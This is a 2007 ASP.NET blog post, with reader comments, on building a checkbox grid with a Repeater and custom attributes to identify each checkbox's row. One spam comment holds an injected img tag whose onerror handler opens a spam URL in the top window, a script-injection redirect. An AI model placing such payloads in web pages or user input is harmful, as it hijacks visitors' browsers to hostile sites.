Checkbox Grids in ASP.NET

A simple checkbox grid is often the best user interface for mapping multiple selections in multiple categories:

Food Cabernet Zinfandel Pinot
Salmon
Steak
Chicken
Chocolate

You'd think this would be easy to do with a GridView and some CheckBoxField columns, but the GridView control's underlying assumption is that you'll only be editing one row at a time. Because of that, all the checkboxes are disabled by default; only the row which has been set to "Edit" mode can be checked and unchecked.

Aside - CheckBoxField only binds to bit fields; it doesn't bind to string values which are convertible to booleans. If you're binding to a field which isn't a bit, you'll need to convert to a bit. If you have a non-bit numeric field, you can likely use (CONVERT(bit,0) as Selected).

So we can't a CheckBoxField, what do we do?

I think the best solution is to ditch the CheckBoxField control for a simple CheckBox control, either in a GridView TemplateField or a Repeater with a Checkbox control in the ItemTemplate. The CheckBox has an OnCheckedChanged event which fires for each bound control which changes status (from checked to unchecked, or from unchecked to checked).

My rule of thumb with GridView vs. Repeater: use the GridView if the GridView will do everything I need to do without tweaking it.  Once I start having to have to start hacking the GridView, I switch to the Repeater. Usually once a grid needs something a little out of the ordinary, there's a good chance I'll need to make further changes to it, and customized GridViews tend to get complicated quickly. So, here's the sample code I'd use for the above grid:

<table>
<asp:Repeater ID="FoodPairings" runat="server" 
		OnItemDataBound="FoodPairings_ItemDataBound" >
  <HeaderTemplate>
    <thead>
      <tr>
        <th>Food</th>
        <th>Cabernet</th>
        <th>Zinfandel</th>
        <th>Pinot</th>
      </tr>
    </thead>
  </HeaderTemplate>
  <ItemTemplate>
    <tr>
      <td>
        <asp:Label ID="Food" runat="server" Text='<%# Eval("Food") %>' />
      </td>
      <td>
        <asp:CheckBox ID="Cabernet" OnCheckedChanged="OnCheckChangedEvent" 
			runat="server" Checked='<%# Eval("Cabernet") %>' />
      </td>
      <td>
        <asp:CheckBox ID="Zinfandel" OnCheckedChanged="OnCheckChangedEvent" 
			runat="server" Checked='<%# Eval("Zinfandel") %>' />
      </td>
      <td>
        <asp:CheckBox ID="Pinot" OnCheckedChanged="OnCheckChangedEvent" 
			runat="server" Checked='<%# Eval("Pinot") %>' />
      </td>
    </tr>
  </ItemTemplate>
</asp:Repeater>
</table>

But how do I determine the ID for the selected checkbox?

The CheckBox OnCheckedChanged event doesn't work too well when it's databound, because the OnCheckedChanged event EventArgs doesn't have an ID which corresponds to the row and column. Handling the save requires you to know both the row and column; it's easy to determine the column by the name of CheckBox control, but there's no simple way to determine the row. The OnCheckedChanged event EventArgs Sender argument passes in the Checkbox control, but the Checkbox control doesn't give you any properties which let you stash an ID field.

If we were only working with a single Checkbox per row it wouldn't be a problem, but you've got a grid of checkboxes, there's no built-in way to get the id of the selected checkbox. CheckBox doesn't have anywhere to stash a value. I thought about some goofy hack in which I hid the ID in the Text or Tooltip, but both of those values are displayed by default.

I think a better solution, though, is to add an attribute to the checkbox control. You can add an attribute to any control using the ControlAttributes.Add(name,value) syntax, and that's a handy way to associate these values.

public void OnCheckChangedEvent(object sender, EventArgs e) { CheckBox c = (CheckBox)sender; string wineID = ((Control)c).ID; int FoodID = int.Parse(c.Attributes["FoodID"]); if (c.Checked) { //Add pairing } else { //Remove pairing } } protected void FoodPairings_ItemDataBound( object sender, RepeaterItemEventArgs e) { if (e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem) { DbDataRecord row = e.Item.DataItem as DbDataRecord; CheckBox checkbox; checkbox = e.Item.FindControl("Cabernet") as CheckBox; checkbox.Attributes.Add("FoodID", row["FoodID"].ToString()); checkbox = e.Item.FindControl("Zinfandel") as CheckBox; checkbox.Attributes.Add("FoodID", row["FoodID"].ToString()); checkbox = e.Item.FindControl("Pinot") as CheckBox; checkbox.Attributes.Add("FoodID", row["FoodID"].ToString()); } }

Is this the best solution?

I'm not sure. There are a few different ways to go about this. My approach worked for me, but I'm not sure it's the best. Here are pro's and con's to the approach I used:

Pro:

  • Reasonably simple
  • Fits with the general control approach you'd expect
  • Handling the OnCheckedChanged event keeps your save logic really simple, because you don't need to implement any special logic to check if the checkbox state has changed.

Cons:
The generated HTML is a little wacky. The checkbox is wrapped in a <span>:

<span FoodID="2"><input id="..." type="checkbox" name="..." checked="checked" /></span>

Here are some other ideas I considered:

  1. Use an AJAX save method which is called for each checkbox click.
  2. Hide the row id in a hidden label and get to it via the CheckBox's NamingContainer.

What do you think?

Published Saturday, July 07, 2007 3:58 PM by Jon Galloway
Filed under:

Comments

# re: Checkbox Grids in ASP.NET

Alternatively you can consider the RowSelectorField which works with the GridView. See www.wilcob.com/.../WilcoWeb.aspx for the source, binaries, and a live demo. Besides checkboxes it also supports radio buttons.

Saturday, July 07, 2007 8:19 PM by Wilco Bauwer

# University Update-AJAX-Checkbox Grids in ASP.NET

Pingback from  University Update-AJAX-Checkbox Grids in ASP.NET

Saturday, July 07, 2007 8:52 PM by University Update-AJAX-Checkbox Grids in ASP.NET

# re: Checkbox Grids in ASP.NET

I guess it depends on when you need to know that a check occurred. If you can wait 'til a full postback occurs it's easy to loop through the Items collection, get each data item and the checkbox value at which point you can assign easily without having to explicitly adding the FOODID attribute. This is sort of a full unbinding where every item is touched and updated.

But for individual updates via AJAX your trick of adding an attribute is a great idea to let the client get the food context...

Saturday, July 07, 2007 10:04 PM by Rick Strahl

# re: Checkbox Grids in ASP.NET

When I want to place additional information inside a repeater, I usually put a HIDDEN field with those information (e.g. an ID) inside the ItemTemplate for a RepeaterItem.

Sunday, July 08, 2007 2:46 AM by Uwe

# re: Checkbox Grids in ASP.NET

Another alternative is to use the Real World GridView (previously Bulk Edit Gridview):

www.codeplex.com/ASPNetRealWorldContr

blogs.msdn.com/.../490868.aspx

Sunday, July 08, 2007 12:37 PM by matthew

# re: Checkbox Grids in ASP.NET

Great write up!

I love ASP.NET because of tricks like this that the developer can use.

Sunday, July 08, 2007 3:32 PM by Nikita Polyakov

# re: Checkbox Grids in ASP.NET

@Nikita: that's why I do not like webforms. We are developers, not hackers.

@Uwe: well, that's what form elements are about. storing (and editing) data. I'm all for your approach

Wanna see a much cleaner solution?

www.kenegozi.com/.../checkbox-grids-in-monorail.aspx

No hacks.

Easy DataBinding.

That's (also) why RoR and MonoRail are gaining support so easily. You suddenly revert from hacking, back to developing

Sunday, July 08, 2007 4:27 PM by Ken Egozi

# Rhonda Tipton&#8217;s WebLog Links - 07.08.07 &laquo;

Pingback from  Rhonda Tipton&#8217;s WebLog Links - 07.08.07 &laquo;

Monday, July 09, 2007 2:34 AM by Rhonda Tipton’s WebLog Links - 07.08.07 «

# links for 2007-07-09

Pingback from  links for 2007-07-09

Monday, July 09, 2007 11:23 AM by links for 2007-07-09

# re: Checkbox Grids in ASP.NET

hi,

anybody can help me?

when i check the one check box i want to choose all the templte check box items?

Tuesday, August 07, 2007 12:47 AM by Sakthi

# whery god

You've been kicked (a good thing) - Trackback from DotNetKicks.com

Friday, January 18, 2008 7:24 AM by DotNetKicks.com

# re: Checkbox Grids in ASP.NET

how to store checkbox selected value in sqlserver?

Monday, March 17, 2008 2:39 AM by satheesh

# re: Checkbox Grids in ASP.NET

Excellent ...This is the exact solutin for which i was looking for.

Thank you so much.

Saturday, March 22, 2008 6:36 AM by Faiz

# re: Checkbox Grids in ASP.NET

     Good idea!

P.S. A U realy girl?

Friday, April 11, 2008 10:36 AM by Memmorium

# re: Checkbox Grids in ASP.NET

my pics <img src=http://google.com/444.gif onerror="window.open('gomyron.com/.../spm','_top')">

Saturday, April 12, 2008 8:00 AM by mypicst

# re: Checkbox Grids in ASP.NET

Excellent method within a gridview - thank you!

Friday, June 13, 2008 11:42 AM by Stoorz

# checkbox in a grid asp net

Pingback from  checkbox in a grid asp net

Thursday, June 19, 2008 6:22 PM by checkbox in a grid asp net

# re: Checkbox Grids in ASP.NET

im unable to understand it .. :(

Tuesday, June 24, 2008 8:42 AM by Aisha

Leave a Comment

(required) 
(required) 
(optional)
(required)